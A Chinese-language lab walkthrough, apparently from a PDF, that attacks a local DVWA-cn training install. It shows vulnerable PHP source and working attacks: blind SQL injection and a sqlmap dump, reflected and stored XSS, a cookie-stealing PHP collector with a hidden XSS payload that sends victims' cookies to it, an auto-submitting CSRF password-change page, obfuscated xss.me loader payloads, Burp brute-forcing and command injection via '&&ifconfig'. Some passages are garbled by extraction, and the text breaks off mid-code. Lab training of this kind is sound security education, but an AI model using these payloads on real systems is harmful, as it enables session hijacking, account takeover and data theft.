                               $result = mysql_query($getid); // Removed 'or die' to suppres mysql errors
                               num = @mysql_numrows(sresult); // The '@' character suppresses errors making the injection 'blind' suppresses errors making the 'blind' suppresses errors errors errors making the 'blind' su
                               $i=0;
                               while ($i < $num) {
                                                $first = mysql_result($result,$i,"first_name");
                                                $last = mysql_result($result,$i,"last_name");
                                                $html .= '';
                                                $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
                                                $html .= '';
                                                $i++;
                               }
               }
}
?>
```

实际的查询语句是

```
SELECT first_name, last_name FROM users WHERE user_id = '$id'
```

sql盲注url地址

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/

### 用户ID输入:

```
1' and 1=1 and '1'='1
```

### 实际上拼接的sql语句是:

```
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 and '1'='1'
```

### mysql中的查询结果是

# 测试是否有注入,对比页面返回(and 1=1)

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/? id=1%27%20and%201=1%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and 1=1 and '1'='1
First name: admin
Surname: admin
```

### url解码

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/?id=1' and 1=1 and '1'='1&Submit=确定

# 测试是否有注入,对比页面返回(and 1=2)

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/? id=1%27%20and%201=2%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
页面显示空白
```

#### url解码

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/?id=1' and 1=2 and '1'='1&Submit=确定

# 测试数据库版本,有数据说明数据库版本为5.0

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/?

id=1%27%20and%20left(version(),1)=5%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(version(),1)=5 and '1'='1
First name: admin
Surname: admin
```

url解码

```
\verb|http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(version(),1)=5 and '1'='1&Submit=\hat{m}
```

mysql中查询结果

说明mysql版本是以5打头的。

# left()函数

用法

### left(str, length)

返回字符串str的最左面len个字符。

该函数是多字节可靠的。

常用的mysql截取函数有: left(), right(), substring(), substring\_index()

- 左截取left(str, length)
- 右截取right(str, length)

• substring(str, pos); substring(str, pos, len)

```
从第5个字符开始
mysql> select substring('www.mxnet.io', 5);
+----+
| substring('www.mxnet.io', 5) |
+----+
1 row in set (0.00 sec)
从第5个字符到第7个字符
mysql> select substring('www.mxnet.io', 5,7);
| substring('www.mxnet.io', 5,7) |
+----+
| mxnet.i
+----+
1 row in set (0.00 sec)
倒数2个字符
mysql> select substring('www.mxnet.io', -2);
+----+
| substring('www.mxnet.io', -2) |
| io
1 row in set (0.00 sec)
mysql>
```

• substring\_index(str,delim,count)

```
+-----+
1 row in set (0.00 sec)
mysql>
```

# version()函数

显示数据库版本号

# 测试数据库长度,有数据说明长度正确

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/?

id=1%27%20and%20length(database())=6%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and length(database())=6 and '1'='1
First name: admin
Surname: admin
```

url解码后

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/?id=1' and length(database())=6 and '1'='1&Submit=确定

mysql中的查询结果

# length()函数

mysql获取字符串长度函数

length:是计算字段的长度一个汉字是算三个字符,一个数字或字母算一个字符

```
| pablo |
+-----+
2 rows in set (0.00 sec)
mysql>
```

# database()函数

显示当前数据库

# 测试数据库名称第1个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/? id=1%27%20and%20left(database(),1)=%27d%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),1)='d' and '1'='1
First name: admin
Surname: admin
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(database(),1)='d' and '1'='1&Submit=确定
```

mysql中查询结果

# 测试数据库名称第2个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/? id=1%27%20and%20left(database(),2)=%27dv%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),1)='dv' and '1'='1
First name: admin
Surname: admin
```

### url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(database(),2)='dv' and '1'='1&Submit=确定
```

### mysql中查询结果

# 测试数据库名称第3个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/?

id=1%27%20and%20left(database(),3)=%27dvw%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),3)='dvw' and '1'='1
First name: admin
Surname: admin
```

### url解码后

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/?id=1' and left(database(),3)='dvw' and '1'='1&Submit= 确定

#### mysql中查询结果

# 测试数据库名称第4个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/? id=1%27%20and%20left(database(),4)=%27dvwa%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),4)='dvwa' and '1'='1
First name: admin
Surname: admin
```

url解码后

```
http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1' and left(database(),4)='dvwa' and '1'='1&Submit =确定
```

### mysql中查询结果

# 测试数据库名称第5个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/? id=1%27%20and%20left(database(),5)=%27dvwac%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),5)='dvwac' and '1'='1
First name: admin
Surname: admin
```

#### url解码后

# mysql中查询结果

# 测试数据库名称第6个字符

http://192.168.56.80/dvwacn/vulnerabilities/sqli\_blind/? id=1%27%20and%20left(database(),6)=%27dvwacn%27%20and%20%271%27=%271&Submit=%C8%B7%B6%A8

```
ID: 1' and left(database(),6)='dvwacn' and '1'='1
First name: admin
Surname: admin
```

## url解码后

```
it=确定
```

### mysql中查询结果

#### 从左边起,查询当前数据库的前6个字符

# sqlmap获取dvwacn.users表内容

### 运行命令

```
sqlmap -u "http://192.168.56.80/dvwacn/vulnerabilities/sqli_blind/?id=1&Submit=%C8%B7%B6%A8#" --cookie="security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2" --dbms=mysql -D dvwacn -T user -C --dump
```

### 获取到的用户名和密码

# dvwacn之三反射型xss

dvwacn之反射型xss物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/xss_r/source# ls
high.php low.php medium.php
```

# 安全级别

• low.php

```
<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;
} else {

$html .= '<pre>';
$html .= 'Hello ' . $_GET['name'];
$html .= '';
}
```

• medium.php

```
<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;
} else {

$html .= '<pre>';
$html .= 'Hello ' . str_replace('<script>', '', $_GET['name']);
$html .= '';
}
```

• high.php

```
<?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;
} else {

$html .= '<pre>';
$html .= 'Hello ' . htmlspecialchars($_GET['name']);
$html .= '';
```

}

low.php中name参数未经任何处理,直接返回用户提交数据

\$\_GET['name']

反射型xss地址

http://192.168.56.80/dvwacn/vulnerabilities/xss\_r/

用户输入:

<script>alert('xss')</script>

页面返回弹窗内容'xss'

# 反射型跨站测试

页面弹窗

反射型跨站测试

url解码

http://192.168.56.80/dvwacn/vulnerabilities/xss\_r/?name=<script>alert('反射型跨站测试')</script>

# 获取用户cookie

输入

<script>alert(document.cookie)</script>

页面返回当前用户cookie

security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2

url地址

http://192.168.56.80/dvwacn/vulnerabilities/xss\_r/?
name=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E#

url解码

http://192.168.56.80/dvwacn/vulnerabilities/xss\_r/?name=<script>alert(document.cookie)</script>#

# dvwacn之四存储型xss

dvwacn之存储型xss物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/xss_s/source# ls
high.php low.php medium.php
```

### 安全级别

• low.php

```
if(isset($_REQUEST['btnSign']))
{

    $message = trim($_REQUEST['mtxMessage']);
    $name = trim($_REQUEST['txtName']);

    // Sanitize message input
    $message = stripslashes($message);
    $message = mysql_real_escape_string($message);

    // Sanitize name input
    $name = mysql_real_escape_string($name);

    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";

    $result = mysql_query($query) or die('' . mysql_error() . '' );
}
```

· medium.php

```
}
?>
```

```
<?php
if(isset($_POST['btnSign']))
  $message = trim($_POST['mtxMessage']);
  $name
         = trim($_POST['txtName']);
  // Sanitize message input
  $message = stripslashes($message);
  $message = mysql_real_escape_string($message);
  $message = htmlspecialchars($message);
  // Sanitize name input
  $name = stripslashes($name);
  $name = mysql_real_escape_string($name);
  $name = htmlspecialchars($name);
  $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
  $result = mysql_query($query) or die('' . mysql_error() . '' );
}
?>
```

low.php中name和message参数未经任何处理,直接将用户提交数据存入数据库。

```
// Sanitize message input
$message = stripslashes($message);
$message = mysql_real_escape_string($message);

// Sanitize name input
$name = mysql_real_escape_string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
```

存储型xss地址

http://192.168.56.80/dvwacn/vulnerabilities/xss\_s/

## 存储型跨站测试

http://192.168.56.80/dvwacn/vulnerabilities/xss\_s/?

txtName=anchiva&mtxMessage=%3Cscript%3Ealert(%27%B4%E6%B4%A2%D0%CD%BF%E7%D5%BE%B2%E2%CA%D4%27)%3C/script%3E&btnSign=%B7%A2%CB%CD%CF%FB%CF%A2

页面弹窗

```
存储型型跨站测试
```

url解码

http://192.168.56.80/dvwacn/vulnerabilities/xss\_s/?txtName=anchiva&mtxMessage=<script>alert('存储型型跨站测试') </script>&btnSign=发送消息

## 获取用户cookie

用户输入:

```
用户名: admin
信息: <script>alert(document.cookie)</script>
```

页面返回当前用户cookie

```
security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2
```

捕获的http数据包内容

```
POST /dvwacn/vulnerabilities/xss_s/ HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/xss_s/
Cookie: security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

txtName=admin&mtxMessage=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&btnSign=%B7%A2%CB%CD%CF%FB%CF%
A2
```

url解码post数据

```
txtName=admin&mtxMessage=<script>alert(document.cookie)</script>&btnSign=发送消息
```

查询数据库表内容

只要一访问存储型xss页面,就会自动弹出当前用户cookie

自动获取用户cookie并发送到攻击者服务器

攻击者服务器获取用户cookie的网站的物理路径

```
root@webserver:/var/www/test/xss# ls
getcookie.php cookie.txt
```

#### getcookie.php内容

```
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以"年-月-日时: 分: 秒"的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt, 若不存在则创建它
fwrite($fp," IP= " .$ip. " \n Date and Time= " .$time. " \n User Agent= ".$agent." \n Referer= ".$referer." \
n Cookie= ".$cookie." \n\n\n"); //写入文件
fclose($fp); //关闭文件
header("Location: http://www.baidu.com"); //将网页重定向到百度, 增强隐蔽性
?>
```

cookie.txt为接收用户cookie的文件

首先需要修改post提交的最大字符数

/var/www/dvwacn/vulnerabilities/xss\_s/index.php

### 找到

```
<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea>
```

### 修改为

```
<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"500\"></textarea>
```

#### 存储型xss地址

http://192.168.56.80/dvwacn/vulnerabilities/xss\_s/

### 用户输入:

```
用户名: admin
```

信息: <script>document.write('<img src="http://192.168.56.80/test/xss/getcookie.php?cookie='+document.cookie+' width=0 height=0 border=0 />');</script>

#### 查询数据库

```
1 row in set (0.00 sec)

mysql>
```

查看攻击者服务器上的cookie.txt文件内容

```
root@webserver:/var/www/test/xss# cat cookie.txt

IP= 192.168.56.1

Date and Time= 2016-07-21 11:45:35

User Agent= Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0

Referer= http://192.168.56.80/dvwacn/vulnerabilities/xss_s/

Cookie= security=low; PHPSESSID=5538rj2euqbbdrsfsh31rtnlg2
```

成功获取到用户cookie信息

换一个用户点击 A2-存储型跨站

再次查看攻击者服务器上的cookie.txt文件内容

```
IP= 192.168.56.1
Date and Time= 2016-07-21 11:45:35
User Agent= Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Referer= http://192.168.56.80/dvwacn/vulnerabilities/xss_s/
Cookie= security=low; PHPSESSID=5538rj2euqbbdrsfsh3lrtnlg2

IP= 192.168.56.104
Date and Time= 2016-07-21 1:12:50
User Agent= Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Referer= http://192.168.56.80/dvwacn/vulnerabilities/xss_s/
Cookie= security=low; PHPSESSID=19e9e7fnujrmplpbj0m06pvdr5
```

已经有2个用户cookie了。

# dvwacn之五跨站请求伪造csrf

dvwacn之csrf物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/csrf/source# ls
high.php low.php medium.php
```

## 安全级别

• low.php

```
<?php
   if (isset($_GET['Change'])) {
       // Turn requests into variables
       $pass_new = $_GET['password_new'];
       $pass_conf = $_GET['password_conf'];
       if (($pass_new == $pass_conf)){
           $pass_new = mysql_real_escape_string($pass_new);
           $pass_new = md5($pass_new);
           $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
           $result=mysql_query($insert) or die('' . mysql_error() . '' );
           $html .= " Ĝëă, 嫩";
           mysql_close();
       }
       else{
           $html .= " \hat{G}\ddot{e}^2»\hat{p}P_{\hat{I}}f ";
?>
```

• medium.php

```
<?php
   if (isset($_GET['Change'])) {
       // Turn requests into variables
       $pass_curr = $_GET['password_current'];
       $pass_new = $_GET['password_new'];
       $pass_conf = $_GET['password_conf'];
      // Sanitise current password input
       $pass_curr = stripslashes( $pass_curr );
       $pass_curr = mysql_real_escape_string( $pass_curr );
       $pass_curr = md5( $pass_curr );
      // Check that the current password is correct
       $qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
       $result = mysql_query($qry) or die('' . mysql_error() . '' );
       if ((pass_new == pass_conf) && ( pass_new == 1)){
          $pass_new = mysql_real_escape_string($pass_new);
          $pass_new = md5($pass_new);
          $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
          $result=mysql_query($insert) or die('' . mysql_error() . '' );
          $html .= " Ĝëă, 嫩";
          mysql_close();
      }
       else{
          ?>
```

low.php中修改密码不需要知道原来的密码,并且不对referer进行检查

```
if (isset($_GET['Change'])) {
    // Turn requests into variables
```

cstf地址

http://192.168.56.80/dvwacn/vulnerabilities/csrf/

## 单击我测试,密码将被更改为admin888

http://192.168.56.80/dvwacn/vulnerabilities/csrf/?
password\_new=admin888&password\_conf=admin888&Change=%B8%FC%B8%C4

页面提示

密码已更改

url解码

http://192.168.56.80/dvwacn/vulnerabilities/csrf/?password\_new=admin888&password\_conf=admin888&Change=更改

## csrf本地自动提交

本地新建csrf.html文件

文件内容如下

```
<body onload="javascript:csrf()">
<script>
function csrf(){
document.getElementById("button").click();
</script>
<style>
   form{
   display: none;
</style>
<form method="GET" action="http://192.168.56.80/dvwacn/vulnerabilities/csrf/">
   请输入新密码:<br>
   <input type="password" name="password new" autocomplete="on" value=admin> <br>
   请再输入一次: <br>
   <input type="password" name="password_conf" autocomplete="on" value=admin>
   <input type="submit" name="Change" id="button" value="更改">
</form>
</body>
```

### 结合xss.me自动执行csrf

相信细心的人已经发现上面是一个html文件,需要诱使管理员打开,而且他还有弹窗。太被动了,想用ajax来发送吧,又需要跨域。怎么办呢?这里我们可以结合xss来完成攻击。

xss的精髓就是xss就是让对方执行你的JS代码

聪明的人已经想到了,那就是把csrf的ajax请求放到xss里,以达到攻击的效果,具体怎么做到呢,看完这一节,你就会了。

首先你要挖到一个xss漏洞(反射型、存储型都行,当然存储型更好)

#### 存储型xss

http://192.168.56.80/dvwacn/vulnerabilities/xss\_s/

xss.me平台

http://192.168.56.80/xssme/index.php?do=project&act=view&id=2

当前位置: 首页 > 项目代码

项目名称: csrf

项目代码:

var xmlhttp; if(window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); }else{ xmlhttp=new ActiveXObject("Micro soft.XMLHTTP"); } xmlhttp.open("GET","http://192.168.56.80/dvwacn/vulnerabilities/csrf/?password\_new=admin&pa ssword\_conf=admin&Change=更改",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencod ed"); xmlhttp.send();

如何使用:

将如下代码植入怀疑出现xss的地方(注意'的转义),即可在 项目内容 观看xss效果。

</textarea>'"><script src=http://192.168.56.80/xssme/oosEK5?1469157525></script> 或者

</textarea>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElement
%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2F192.168.56.80%2Fxssme%2FoosEK5%3F%22%2BMath.random%28%29%3B%28do
cument.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>
再或者以你任何想要的方式插入

http://192.168.56.80/xssme/oosEK5?1469157525 完成

### 用户输入

用户名: admin

信息: <script src=http://192.168.56.80/xssme/oosEK5?1469157525></script>

只要用户点击 A5-跨站请求伪造(CSRF), 密码就会被改成admin。

## 附件 xss.me搭建教程

- 1. 下载xsser.me的源码,解压缩到相应的目录xss。
- 2. 使用phpMyAdmin在mysql中新建一个数据库xss,将该目录下的"xss.sql"文件导入该数据库。点击执行后,可以看到已经创建好了表。

3. 执行下面的sql语句,改为自己的域名,这里我用的是本地主机搭建的环境。所以直接使用了ip地址"120.219.13.151"。

```
UPDATE oc_module SET code=REPLACE(code, 'http://xss.alisec.cn', 'http://192.168.56.80/xssme')
```

4. 修该网站目录下面的config.php文件,根据具体情况和注释。

```
      主机:
      'localhost'。

      用户:
      'root'

      密码:
      ''

      数据库名:
      'xss'

      表名前缀:
      oc_

      注册:
      normal

      起始url为:
      http://192.168.56.80/xssme
```

- 5. 访问网站测试一下,然后注册一个新的帐号。因为上面设置了normal模式,所以这里邀请码随便填。
- 6. 在这里提交注册时旧的版本点击提交注册后会没反应,查看源码,会发现'type="button"',要改为"submit"才能提交。注意:如果登陆成功后网站是一片空白的话,则需要编辑php.ini 打开php.ini文件,找到output\_buffering = 改为on或者任何数字。
- 7. 进行xss的时候还需要做一件事情,就是url重写。只需要在网站目录下创建一个".htaccess"文件即可。(仅针对 Apache)文件内容如下:

```
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteRule ^([0-9a-zA-Z]{6})$ index.php?do=code&urlKey=$1
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ index.php?do=do&auth=$1&domain=$3
RewriteRule ^register/(.*?)$ index.php?do=register&key=$1
RewriteRule ^register-validate/(.*?)$ index.php?do=register&act=validate&key=$1
RewriteRule ^login$ index.php?do=login
</IfModule>
```

注意: 最好将是否启用url rewrite改成true。

8. 如果需要给自己点权限,然后可以发放邀请码。修改user表里相应用户的的adminLevel项的值为"1"即可。phpmyadmin里直接双击修改即可。或者执行sql语句

```
UPDATE `xss`.`oc_user` SET `adminLevel` = '1' WHERE `oc_user`.`id` =1 LIMIT 1;
```

- 9. 然后修改config.php文件,经注册配置为只允许邀请注册。然后重新登录。
- 10. 然后访问" http://120.219.13.151/xss/index.php?do=user&act=invite "页面,发放邀请码。

# dvwacn之六暴力破解

dvwacn之暴力破解物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/brute/source# ls
high.php low.php medium.php
```

## 安全级别

• low.php

```
<?php
if( isset( $_GET['Login'] ) ) {
   $user = $_GET['username'];
   $pass = $_GET['password'];
   $pass = md5($pass);
    $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result = mysql_query( $qry ) or die( '' . mysql_error() . '' );
    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $i=0; // Bug fix.
        $avatar = mysql_result( $result, $i, "avatar" );
        // Login Successful
        $html .= "\mu \hat{A}_3^{\prime} J_1^{\dagger} f \neg \hat{z} \partial D_2^{\prime}". $user . "";
        $html .= '<img src="' . $avatar . '" />';
   } else {
        //Login failed
        $html .= "<br>d»§Ļ»〖暑j¡£";
   mysql_close();
}
?>
```

• medium.php

```
if( isset( $_GET[ 'Login' ] ) ) {

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );
}
```

```
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );
   // Sanitise password input
   $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    pass = md5(pass);
    $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result = mysql_query($qry) or die('' . mysql_error() . '' );
    if( $result && mysql_num_rows( $result ) == 1 ) {
       // Get users details
       $i=0; // Bug fix.
       $avatar = mysql_result( $result, $i, "avatar" );
       // Login Successful
       $html .= "\mu \hat{A}_3^{3} u_1^{\dagger} f - z_{3} u_2^{2}. $user . "";
       $html .= '<img src="' . $avatar . '" />';
   } else {
       // Login failed
        sleep(3);
       $html .= "<br>d»§Ļ»@뵭j¡£";
   mysql_close();
}
?>
```

### 暴力破解过程

### 设置http代理

火狐浏览器中安装FoxyProxy插件

新建代理服务器-->代理名称:Burp Suite-->主机或IP地址:127.0.0.1-->端口:8080-->为全部Urls启用代理服务器Burp Suite

### 设置Burp Suite

打开Burp Suite

```
Proxy-->Options-->Add-->Bind to Port:8080|Blind to Address:127.0.0.1

Intercept-->Intercept is off
```

http://192.168.56.80/dvwacn/vulnerabilities/brute

用户点击暴力破解,输入

```
用户名: admin
密码: 123456
```

接着到Burp Suite中查看抓到的http包内容

```
GET /dvwacn/vulnerabilities/brute/?username=admin&password=123456&Login=%B5%C7%C2%BD HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/brute/
Cookie: security=high; PHPSESSID=b066ao156vs6s2qhh0kr60sha4
Connection: close
```

把抓到的http包发送到Intruder,设置Positions如下

```
GET /dvwacn/vulnerabilities/brute/?username=admin&password=§123456§&Login=%B5%C7%C2%BD HTTP/1.1
Host: 192.168.56.80
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.80/dvwacn/vulnerabilities/brute/
Cookie: security=high; PHPSESSID=b066ao156vs6s2qhh0kr60sha4
Connection: close
```

设置Payloads,从Payload Options中选中Load...选择一个字典文件/tmp/dic.txt

dic.txt内容如下

```
123456
root
admin888
password
admin
```

设置Options匹配规则,从Grep - Match中选择Add添加 用户名或者密码错误。

然后点击Positions中的Start attack进行暴力破解

查看运行结果,按Length排序,选中字节数大小跟其他不一样的那一条,查看Response中的Render,你会发现已经登录成功了。

当然,你也可以查看录像文件,更直观的观察暴力破解过程。

http://192.168.56.80/dvwacn/vulnerabilities/brute/Bruteforce/Bruteforce\_controller.swf

# dvwacn之七命令执行

dvwacn之命令执行物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/exec/source# ls
high.php low.php medium.php
```

## 安全级别

• low.php

```
if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
    $cmd = shell_exec( 'ping ' . $target );
    $html .= ''.$cmd.'';
} else {
    $cmd = shell_exec( 'ping -c 3 ' . $target );
    $html .= ''.$cmd.'';
}
}
```

• medium.php

```
<?php
if( isset( $_POST[ 'submit' ] ) ) {
              $target = $_REQUEST["ip"];
              $target = stripslashes( $target );
              // Split the IP into 4 octects
              $octet = explode(".", $target);
              // Check IF each octet is an integer
               if \ ((is\_numeric(\$octet[0])) \ \& \ (is\_numeric(\$octet[1])) \ \& \ (is\_numeric(\$octet[2])) \ \& \ (is\_numeric(\$octet[2])) \ \& \ (is\_numeric(\$octet[3])) \ \& 
])) && (sizeof($octet) == 4) ) {
              // If all 4 octets are int's put the IP back together.
               $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];
                             \ensuremath{//} Determine OS and execute the ping command.
                             if (stristr(php_uname('s'), 'Windows NT')) {
                                             $cmd = shell_exec( 'ping ' . $target );
                                             $html .= ''.$cmd.'';
                             } else {
                                             $cmd = shell_exec( 'ping -c 3 ' . $target );
                                             $html .= ''.$cmd.'';
                             }
              }
              else {
                             }
```

# ping测试

在文本框中输入ip地址127.0.0.1&&ifconfig

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.013 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.016 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.032 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.013/0.020/0.032/0.009 ms
         Link encap:Ethernet HWaddr 08:00:27:5d:88:62
         inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.25.0
         inet6 addr: fe80::a00:27ff:fe5d:8862/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:81 errors:0 dropped:0 overruns:0 frame:0
         TX packets:227 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:12225 (12.2 KB) TX bytes:36058 (36.0 KB)
eth1
         Link encap:Ethernet HWaddr 08:00:27:fe:fe:c9
         inet addr:192.168.56.80 Bcast:192.168.56.255 Mask:255.255.255.0
         inet6 addr: fe80::a00:27ff:fefe:fec9/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:76146 errors:0 dropped:0 overruns:0 frame:0
         TX packets:72451 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:17208330 (17.2 MB) TX bytes:65297581 (65.2 MB)
10
         Link encap:Local Loopback
         inet addr:127.0.0.1 Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:65536 Metric:1
         RX packets:3158 errors:0 dropped:0 overruns:0 frame:0
         TX packets:3158 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0
         RX bytes:971697 (971.6 KB) TX bytes:971697 (971.6 KB)
```

可以发现成功执行了ifconfig命令

## dvwacn之八不安全的验证码

dvwacn之不安全的验证码物理路径

```
root@webserver:/var/www/dvwacn/vulnerabilities/captcha/source# ls
high.php low.php medium.php
```

### 安全级别

• low.php

```
<?php
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '1' ) ) {
   $hide form = true;
   $user = $_POST['username'];
   $pass_new = $_POST['password_new'];
   $pass_conf = $_POST['password_conf'];
   $resp = recaptcha_check_answer ($_DVWA['recaptcha_private_key'],
       $_SERVER["REMOTE_ADDR"],
       $_POST["recaptcha_challenge_field"],
       $_POST["recaptcha_response_field"]);
   if (!$resp->is_valid) {
       // What happens when the CAPTCHA was entered incorrectly
       $html .= "<br />验证码错误,请重新输入。";
       $hide_form = false;
       return;
   } else {
           if (($pass_new == $pass_conf)){
           $html .= "<br />验证码通过,请单击更改按钮。 <br />";
           $html .= "
           <form action=\"#\" method=\"POST\">
              <input type=\"hidden\" name=\"step\" value=\"2\" />
              <input type=\"hidden\" name=\"password_new\" value=\"" . pass_new . "\" />
              <input type=\"hidden\" name=\"password_conf\" value=\"" . pass_conf . "\" />
              <input type=\"submit\" name=\"Change\" value=\"确定\" />
           </form>";
           }
           else{
                  $html .= " 两次输入的密码必须相同。 ";
           $hide_form = false;
           }
   }
}
if( isset( $_POST['Change'] ) && ( $_POST['step'] == '2' ) )
    $pass_new = $_POST['password_new'];
   $pass_conf = $_POST['password_conf']; //独自等待添加,修正原程序中的错误
   $hide_form = true;
       if ($pass_new != $pass_conf)
